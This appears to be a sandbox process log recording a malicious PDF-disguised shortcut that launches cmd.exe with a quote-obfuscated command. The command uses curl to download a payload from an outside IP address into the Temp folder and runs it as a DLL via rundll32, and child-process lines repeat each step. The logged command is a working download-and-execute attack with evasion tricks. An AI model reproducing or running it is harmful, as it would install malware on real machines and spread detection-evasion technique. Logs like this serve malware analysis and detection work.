cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "tUORfmrQsA" C:\Users\test22\AppData\Local\Temp\0ETT.pdf.lnk
2556cmd.exe "C:\Windows\System32\cmd.exe" /c aV6J || echo aV6J & P"iNg" aV6J || c"urL" ht"tp:"//155.1"3"8.2"23."11"5"/"e"M19/a -o C:\Users\test22\AppData\Local\Temp\aV6J.log & P"iNg" -n 3 aV6J || ru"ND"l"l"32 C:\Users\test22\AppData\Local\Temp\aV6J.log scab /k pechene634 & eXi"t" 'lUHVWSnwsPjFk
2668PING.EXE P"iNg" aV6J
2764curl.exe c"urL" ht"tp:"//155.1"3"8.2"23."11"5"/"e"M19/a -o C:\Users\test22\AppData\Local\Temp\aV6J.log
2824PING.EXE P"iNg" -n 3 aV6J
2884rundll32.exe ru"ND"l"l"32 C:\Users\test22\AppData\Local\Temp\aV6J.log scab /k pechene634
2932